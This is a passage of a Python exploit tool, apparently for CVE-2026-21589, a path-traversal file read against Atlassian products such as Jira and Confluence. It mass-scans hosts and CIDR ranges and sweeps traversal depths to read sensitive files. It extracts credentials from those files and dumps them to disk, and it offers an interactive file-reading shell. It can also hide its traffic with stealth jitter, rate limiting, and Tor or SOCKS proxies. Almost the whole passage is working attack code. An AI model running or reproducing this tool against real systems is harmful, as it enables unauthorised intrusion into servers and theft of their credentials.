    elif key == "encoding":
        if value not in encodings_to_try:
            bad(f"encoding must be one of: {', '.join(encodings_to_try)}")
            return
        s.encoding = value
        s.files.clear()
        ok(f"encoding = {value} (cache cleared)")
    elif key == "product":
        if value not in products:
            bad(f"product must be one of: {', '.join(products.keys())}")
            return
        s.product = value
        s.depth = products[value]["depth"]
        s.files.clear()
        ok(f"product = {value} (depth reset to {s.depth}, cache cleared)")
    else:
        bad(f"unknown key: {key}")

def _cmd_show(s, args):
    print()
    print(f"{cyan}  product  {rst}: {magenta}{s.product}{rst}")
    print(f"{cyan}  encoding {rst}: {yellow}{s.encoding}{rst}")
    print(f"{cyan}  depth    {rst}: {yellow}{s.depth}{rst}")
    print(f"{cyan}  cached   {rst}: {white}{len(s.files)}{rst} file(s)")
    print()

def _cmd_creds(s, args):
    if not s.credentials:
        warn("no credentials collected")
        return
    print()
    print(f"{cyan}  ╭─ CREDENTIALS {'─' * 53}╮{rst}")
    for c in s.credentials:
        print(f"{cyan}  │{rst}  {magenta}{c['type']:<12}{rst} {dim}{c.get('path', '?'):<40}{rst} {c['value']}")
    print(f"{cyan}  ╰{'─' * 67}╯{rst}")
    print()

def _cmd_dump(s, args):
    outdir = args[0] if args else f"dump_{int(time.time())}"
    try:
        os.makedirs(outdir, exist_ok=True)
    except OSError as e:
        bad(f"mkdir failed: {e}")
        return
    ok(f"dumping to {outdir}/")
    saved = 0
    seen = set()
    for f in sensitive_files:
        if f in seen:
            continue
        seen.add(f)
        try:
            code, body = _try_read(s, f)
        except Exception as e:
            print(f"{red}  ERR  {rst}  {f}  {dim}({e}){rst}")
            continue
        if not body:
            continue
        local = os.path.join(outdir, f.replace("/", "_"))
        try:
            with open(local, "w", encoding="utf-8", errors="replace") as fh:
                fh.write(body)
            saved += 1
            creds = extract_credentials(body)
            tag = f"{magenta}{len(creds)} creds{rst}" if creds else ""
            print(f"{green}  saved{rst}  {f:<50} {dim}{_fmt_size(len(body))}{rst} {tag}")
        except (OSError, IOError) as e:
            bad(f"write error {f}: {e}")
    if saved:
        ok(f"{saved} file(s) -> {outdir}/")
    else:
        warn("nothing to dump")

def _cmd_report(s, args):
    path = args[0] if args else f"shell_report_{int(time.time())}.json"
    data = {
        "tool": "exploit.shell",
        "cve": "CVE-2026-21589",
        "generated_at": datetime.now(timezone.utc).isoformat(),
        "target": s.base_url,
        "product": s.product,
        "encoding": s.encoding,
        "depth": s.depth,
        "started_at": datetime.fromtimestamp(s.start, timezone.utc).isoformat(),
        "duration_seconds": round(time.time() - s.start, 2),
        "files_read": list(s.files.keys()),
        "file_contents_size": {k: len(v) for k, v in s.files.items()},
        "credentials": s.credentials,
        "stats": {
            "reads": s.read_count,
            "probes": s.probe_count,
            "misses": s.miss_count,
            "waf_blocks": s.waf_count,
        },
    }
    try:
        with open(path, "w", encoding="utf-8") as fh:
            json.dump(data, fh, indent=2, default=str)
        ok(f"report -> {path}")
    except (OSError, IOError) as e:
        bad(f"write error: {e}")

def _cmd_clear(s, args):
    try:
        os.system("cls" if os.name == "nt" else "clear")
    except Exception:
        print("\033[2J\033[H", end="")

def _shell_dispatch(s, cmd, args):
    if cmd in ("help", "?"):
        _cmd_help(s, args)
    elif cmd == "info":
        _cmd_info(s, args)
    elif cmd == "session":
        _cmd_session(s, args)
    elif cmd in ("ls", "files", "enum"):
        _cmd_ls(s, args)
    elif cmd in ("cat", "read"):
        _cmd_cat(s, args)
    elif cmd == "head":
        _cmd_head(s, args)
    elif cmd == "tail":
        _cmd_tail(s, args)
    elif cmd == "grep":
        _cmd_grep(s, args)
    elif cmd in ("probe", "exists"):
        _cmd_probe(s, args)
    elif cmd in ("download", "save"):
        _cmd_download(s, args)
    elif cmd == "set":
        _cmd_set(s, args)
    elif cmd == "show":
        _cmd_show(s, args)
    elif cmd == "creds":
        _cmd_creds(s, args)
    elif cmd == "dump":
        _cmd_dump(s, args)
    elif cmd == "report":
        _cmd_report(s, args)
    elif cmd in ("clear", "cls"):
        _cmd_clear(s, args)
    else:
        warn(f"unknown command: {cmd} (try 'help')")

def shell(base_url, product, encoding, depth, marker, args):
    session = ShellSession(base_url, product, encoding, depth, marker, args)
    histfile = _setup_readline()
    _shell_banner(session)
    while True:
        try:
            line = input(_make_prompt(session))
        except EOFError:
            print()
            break
        except KeyboardInterrupt:
            print()
            continue
        except Exception as e:
            bad(f"input error: {e}")
            break
        if not line or not line.strip():
            continue
        try:
            parts = shlex.split(line, posix=True)
        except ValueError as e:
            bad(f"parse error: {e}")
            continue
        if not parts:
            continue
        cmd = parts[0].lower()
        rest = parts[1:]
        if cmd in ("exit", "quit", "q"):
            break
        try:
            _shell_dispatch(session, cmd, rest)
        except KeyboardInterrupt:
            print()
            warn("command interrupted")
        except (socket.gaierror, ConnectionRefusedError) as e:
            bad(f"network error: {e}")
        except ssl_mod.SSLError as e:
            bad(f"tls error: {e}")
        except ValueError as e:
            bad(f"invalid input: {e}")
        except KeyError as e:
            bad(f"missing key: {e}")
        except (OSError, IOError) as e:
            bad(f"io error: {e}")
        except Exception as e:
            bad(f"error: {type(e).__name__}: {e}")
    _save_history(histfile)
    print()
    ok(f"shell closed · {len(session.files)} file(s) read · {len(session.credentials)} cred(s)")
    return session

def worker(target, args, results, progress):
    host_url = target.strip()
    if not host_url.startswith(("http://", "https://")):
        host_url = "https://" + host_url
    if throttle is not None:
        throttle.wait()
    if stealth is not None:
        stealth.pause()

    entry = {
        "target": host_url,
        "product": None,
        "products": [],
        "vulnerable": False,
        "files": [],
        "credentials": [],
        "waf": False,
        "error": None,
    }

    appended = False
    try:
        if args.product:
            forced = None
            for enc in encodings_to_try:
                forced = probe_product(host_url, args.product, args.timeout, args.retries, args.proxy, enc)
                if forced:
                    break
            if forced:
                detected = [forced]
            else:
                detected = []
                entry["error"] = (
                    f"forced product '{args.product}' did not validate - "
                    f"target may be patched, wrong product, or unreachable"
                )
                warn(f"{host_url} forced product '{args.product}' did not validate")
        else:
            detected = detect_product(host_url, args.timeout, args.retries, args.proxy)

        if not detected:
            if not entry["error"]:
                entry["error"] = "no product detected (target may be patched or unreachable)"
            with progress["lock"]:
                progress["fail"] += 1
            results.append(entry)
            appended = True
            return

        unique_detected = []
        seen_prod = set()
        for d in detected:
            if d[0] in seen_prod:
                continue
            seen_prod.add(d[0])
            unique_detected.append(d)
        detected = unique_detected

        entry["products"] = list(dict.fromkeys(k for k, _, _, _ in detected))
        entry["product"] = entry["products"][0]
        for product_key, status, length, enc in detected:
            dbg(f"{host_url} detected {product_key} ({length} bytes, encoding={enc})")

        target_files = list(args.files) if args.files else list(sensitive_files)
        seen_files = set()

        for product_key, _, _, enc in detected:
            product_info = products.get(product_key)
            if not product_info:
                continue
            default_depth = product_info["depth"]
            for tf in target_files:
                if args.try_depths:
                    depths_to_try = list(range(2, 10))
                    if args.depth is not None and args.depth not in depths_to_try:
                        depths_to_try.append(args.depth)
                        depths_to_try.sort()
                elif args.depth is not None:
                    depths_to_try = [args.depth]
                else:
                    depths_to_try = [default_depth]
                for d in depths_to_try:
                    file_key = (product_key, tf)
                    if file_key in seen_files:
                        continue
                    try:
                        status, headers, body, path = read_file(
                            host_url, product_key, tf, d, args.timeout, args.retries, args.proxy, enc
                        )
                    except Exception as exc:
                        dbg(f"{host_url} {tf} depth={d} encoding={enc} error: {exc}")
                        continue
                    if status in waf_status_codes:
                        entry["waf"] = True
                        dbg(f"{host_url} {tf} -> WAF block ({status})")
                        with progress["lock"]:
                            progress["waf"] += 1
                        continue
                    if status == 200 and body:
                        if not is_valid_content(body, tf):
                            dbg(f"{host_url} {tf} depth={d} -> 200 but content invalid")
                            continue
                        seen_files.add(file_key)
                        entry["vulnerable"] = True
                        creds = extract_credentials(body)
                        file_entry = {
                            "path": tf,
                            "depth": d,
                            "product": product_key,
                            "encoding": enc,
                            "url": host_url + path,
                            "size": len(body),
                            "credentials": creds,
                        }
                        entry["files"].append(file_entry)
                        for c in creds:
                            entry["credentials"].append(c)
                        hit(f"{host_url} READ {tf} ({len(body)} bytes, {len(creds)} creds)")
                        with progress["lock"]:
                            progress["files"] += 1
                        break
                    elif status == 404:
                        dbg(f"{host_url} {tf} depth={d} encoding={enc} -> 404 (patched or wrong anchor)")
                    elif status == 500:
                        dbg(f"{host_url} {tf} depth={d} encoding={enc} -> 500 (wrong depth)")
                    else:
                        dbg(f"{host_url} {tf} depth={d} encoding={enc} -> {status}")

        if not entry["vulnerable"]:
            with progress["lock"]:
                progress["safe"] += 1
            info(f"{host_url} no readable files (patched or anchor mismatch)")

        results.append(entry)
        appended = True
    except Exception as exc:
        dbg(f"{host_url} worker error: {exc}")
        entry["error"] = f"worker exception: {exc}"
        with progress["lock"]:
            progress["fail"] += 1
    finally:
        if not appended:
            results.append(entry)

def save_json(results, path, meta):
    payload = {
        "tool": "exploit",
        "cve": "CVE-2026-21589",
        "generated_at": datetime.now(timezone.utc).isoformat(),
        "meta": meta,
        "results": results,
    }
    try:
        with open(path, "w", encoding="utf-8") as fh:
            json.dump(payload, fh, indent=2, default=str)
        ok(f"JSON report: {path}")
    except IOError as exc:
        bad(f"cannot write JSON: {exc}")

def save_csv(results, path):
    fields = ["target", "product", "products", "vulnerable", "waf", "files", "credentials", "error"]
    try:
        with open(path, "w", newline="", encoding="utf-8") as fh:
            w = csv.DictWriter(fh, fieldnames=fields)
            w.writeheader()
            for r in results:
                files_str = "; ".join(
                    f"{f.get('path', '')} ({f.get('size', 0)}b, enc={f.get('encoding', '?')})" for f in r.get("files", [])
                ) or ""
                creds_str = "; ".join(
                    f"{c.get('type', '')}:{c.get('value', '')}" for c in r.get("credentials", [])
                ) or ""
                w.writerow({
                    "target": r.get("target", ""),
                    "product": r.get("product", "") or "",
                    "products": ",".join(r.get("products", [])) or "",
                    "vulnerable": r.get("vulnerable", False),
                    "waf": r.get("waf", False),
                    "files": files_str,
                    "credentials": creds_str,
                    "error": r.get("error", "") or "",
                })
        ok(f"CSV report: {path}")
    except IOError as exc:
        bad(f"cannot write CSV: {exc}")

def summary(results, elapsed):
    total = len(results)
    vuln = sum(1 for r in results if r.get("vulnerable"))
    files = sum(len(r.get("files", [])) for r in results)
    creds = sum(len(r.get("credentials", [])) for r in results)
    waf = sum(1 for r in results if r.get("waf"))
    print()
    print(f"{cyan}{'=' * 72}{rst}")
    print(f"  {bold}summary{rst}")
    print(f"{cyan}{'=' * 72}{rst}")
    print(f"  elapsed     : {elapsed:.1f}s")
    print(f"  scanned     : {total}")
    print(f"  {red}vulnerable  : {vuln}{rst}")
    print(f"  {yellow}files read  : {files}{rst}")
    print(f"  {magenta}credentials : {creds}{rst}")
    print(f"  {blue}waf-blocked : {waf}{rst}")
    if vuln:
        print()
        print(f"  {red}{bold}vulnerable targets{rst}")
        for r in results:
            if r.get("vulnerable"):
                prods = ",".join(r.get("products", [])) or "?"
                nfiles = len(r.get("files", []))
                wtag = f" {blue}[waf]{rst}" if r.get("waf") else ""
                print(f"    {white}{r['target']}{rst} [{prods}] {nfiles} file(s){wtag}")
    print(f"{cyan}{'=' * 72}{rst}")

def collect(args):
    targets = []
    if args.target:
        t = args.target.strip()
        if "/" in t and not t.startswith(("http://", "https://")):
            try:
                net = ipaddress.ip_network(t, strict=False)
            except ValueError:
                raise ValueError(f"invalid CIDR: {t}")
            if net.num_addresses > 4096:
                hosts = list(net.hosts())[:4096]
                warn(f"CIDR {t} truncated to 4096 hosts")
            else:
                hosts = list(net.hosts())
            targets.extend(str(h) for h in hosts)
        else:
            targets.append(t)
    if args.file:
        if not os.path.isfile(args.file):
            raise ValueError(f"file not found: {args.file}")
        with open(args.file, "r", encoding="utf-8") as fh:
            for line in fh:
                line = line.strip()
                if line and not line.startswith("#"):
                    targets.append(line.split()[0])
    seen, out = set(), []
    for t in targets:
        if t not in seen:
            seen.add(t)
            out.append(t)
    return out

def main():
    global stealth, throttle

    if len(sys.argv) == 1:
        print(banner)
        print(f"{cyan}usage:{rst}")
        print(f"  python3 exploit.py --target https://jira.example.com")
        print(f"  python3 exploit.py --target https://jira.example.com --shell")
        print(f"  python3 exploit.py --target https://jira.example.com --files WEB-INF/web.xml --output report.json")
        print(f"  python3 exploit.py --file targets.txt --threads 20 --output audit.csv")
        print()
        print(f"{cyan}options:{rst}")
        print(f"  --target URL           target URL (single)")
        print(f"  --file FILE            file with targets")
        print(f"  --files FILE[,FILE]    specific files to read (default: builtin list)")
        print(f"  --product KEY          jira|confluence|bitbucket|bamboo|crowd|crucible|fisheye")
        print(f"  --depth N              traversal depth (default: product-specific)")
        print(f"  --try-depths           sweep depths 2..9")
        print(f"  --threads N            workers (default 10)")
        print(f"  --timeout SEC          per-request timeout (default 12)")
        print(f"  --retries N            retry count (default 3)")
        print(f"  --rate-limit RPS       max requests per second (default 5.0)")
        print(f"  --proxy URL            SOCKS5/SOCKS4/HTTP proxy")
        print(f"  --tor                  use Tor proxy (socks5://127.0.0.1:9050)")
        print(f"  --stealth              enable jitter stealth")
        print(f"  --stealth-delay A,B    stealth delay range (default 0.05,0.75)")
        print(f"  --shell                drop interactive shell on VULN (single target)")
        print(f"  --output FILE          report path (.json / .csv)")
        print(f"  -v, --verbose          verbose output")
        print()
        return 0

    parser = argparse.ArgumentParser(prog="exploit.py", add_help=False)
    parser.add_argument("--target")
    parser.add_argument("--file")
    parser.add_argument("--files")
    parser.add_argument("--product")
    parser.add_argument("--depth", type=int)
    parser.add_argument("--try-depths", action="store_true")
    parser.add_argument("--threads", type=int, default=10)
    parser.add_argument("--timeout", type=float, default=12.0)
    parser.add_argument("--retries", type=int, default=3)
    parser.add_argument("--rate-limit", type=float, default=5.0)
    parser.add_argument("--proxy")
    parser.add_argument("--tor", action="store_true")
    parser.add_argument("--stealth", action="store_true")
    parser.add_argument("--stealth-delay", default="0.05,0.75")
    parser.add_argument("--shell", action="store_true")
    parser.add_argument("--output")
    parser.add_argument("-v", "--verbose", action="store_true")
    parser.add_argument("-h", "--help", action="help", default=argparse.SUPPRESS)
    args = parser.parse_args()

    if args.verbose:
        sys._verbose = True
        log.setLevel(logging.DEBUG)

    if args.timeout <= 0:
        bad(f"invalid timeout {args.timeout}")
        return 1
    if args.threads < 1:
        bad(f"invalid threads {args.threads}")
        return 1
    if args.retries < 1:
        bad(f"invalid retries {args.retries}")
        return 1

    if args.files:
        args.files = [f.strip() for f in args.files.split(",") if f.strip()]
    else:
        args.files = None

    if args.product and args.product not in products:
        bad(f"unknown product {args.product}")
        return 1

    if args.try_depths and args.depth is not None:
        warn("--try-depths overrides --depth; sweeping depths 2..9")
    elif args.try_depths:
        default_note = args.product if args.product else "product-specific"
        warn(f"--try-depths sweeps depths 2..9 (ignores {default_note} default depth)")

    try:
        smin_s, smax_s = args.stealth_delay.split(",", 1)
        stealth_min = float(smin_s)
        stealth_max = float(smax_s)
    except (ValueError, AttributeError):
        stealth_min, stealth_max = 0.05, 0.75
    if stealth_max < stealth_min:
        stealth_min, stealth_max = stealth_max, stealth_min

    stealth = Stealth(args.stealth, stealth_min, stealth_max)
    throttle = Rate(args.rate_limit)

    if args.tor:
        if not socks_available:
            bad("Tor requires PySocks: pip install pysocks")
            return 1
        if not args.proxy:
            args.proxy = "socks5://127.0.0.1:9050"
        info("Tor proxy enabled: socks5://127.0.0.1:9050")
    elif args.proxy:
        if not socks_available:
            bad("proxy requires PySocks: pip install pysocks")
            return 1
        info(f"proxy enabled: {args.proxy}")

    try:
        targets = collect(args)
    except ValueError as exc:
        bad(str(exc))
        return 1

    if not targets:
        bad("no targets provided; use --target or --file")
        return 1

    if args.shell and len(targets) != 1:
        warn("--shell requires exactly one target; disabled")
        args.shell = False

    info(f"loaded {len(targets)} target(s)")

    results = []
    started = time.time()
    progress = {
        "files": 0, "safe": 0, "fail": 0, "waf": 0,
        "lock": threading.Lock(),
    }

    try:
        if len(targets) == 1:
            worker(targets[0], args, results, progress)
        else:
            workers = max(1, min(args.threads, len(targets)))
            with ThreadPoolExecutor(max_workers=workers) as tpool:
                futures = {tpool.submit(worker, t, args, results, progress): t for t in targets}
                try:
                    for _ in as_completed(futures):
                        pass
                except KeyboardInterrupt:
                    warn("interrupted, cancelling pending workers")
                    for f in futures:
                        f.cancel()
    except Exception as exc:
        bad(f"scan error: {exc}")

    elapsed = time.time() - started
    summary(results, elapsed)

    if args.shell and results and results[0].get("vulnerable"):
        entry = results[0]
        f0 = entry["files"][0]
        try:
            shell(
                base_url=entry["target"],
                product=f0["product"],
                encoding=f0["encoding"],
                depth=f0["depth"],
                marker=products.get(f0["product"], {}).get("marker", ""),
                args=args,
            )
        except KeyboardInterrupt:
            print()
            warn("shell interrupted")
        except Exception as e:
            bad(f"shell error: {type(e).__name__}: {e}")

    if args.output:
        meta = {
            "generated_at": datetime.now(timezone.utc).isoformat(),
            "total": len(results),
            "vulnerable": sum(1 for r in results if r.get("vulnerable")),
            "files": sum(len(r.get("files", [])) for r in results),
            "credentials": sum(len(r.get("credentials", [])) for r in results),
            "waf": sum(1 for r in results if r.get("waf")),
        }
        lower = args.output.lower()
        if lower.endswith(".json"):
            save_json(results, args.output, meta)
        elif lower.endswith(".csv"):
            save_csv(results, args.output)
        else:
            save_json(results, args.output, meta)

    return 0 if not any(r.get("vulnerable") for r in results) else 2

if __name__ == "__main__":
    try:
        sys.exit(main())
    except KeyboardInterrupt:
        warn("interrupted")
        sys.exit(130)
    except Exception as exc:
        bad(f"fatal: {exc}")
        sys.exit(1)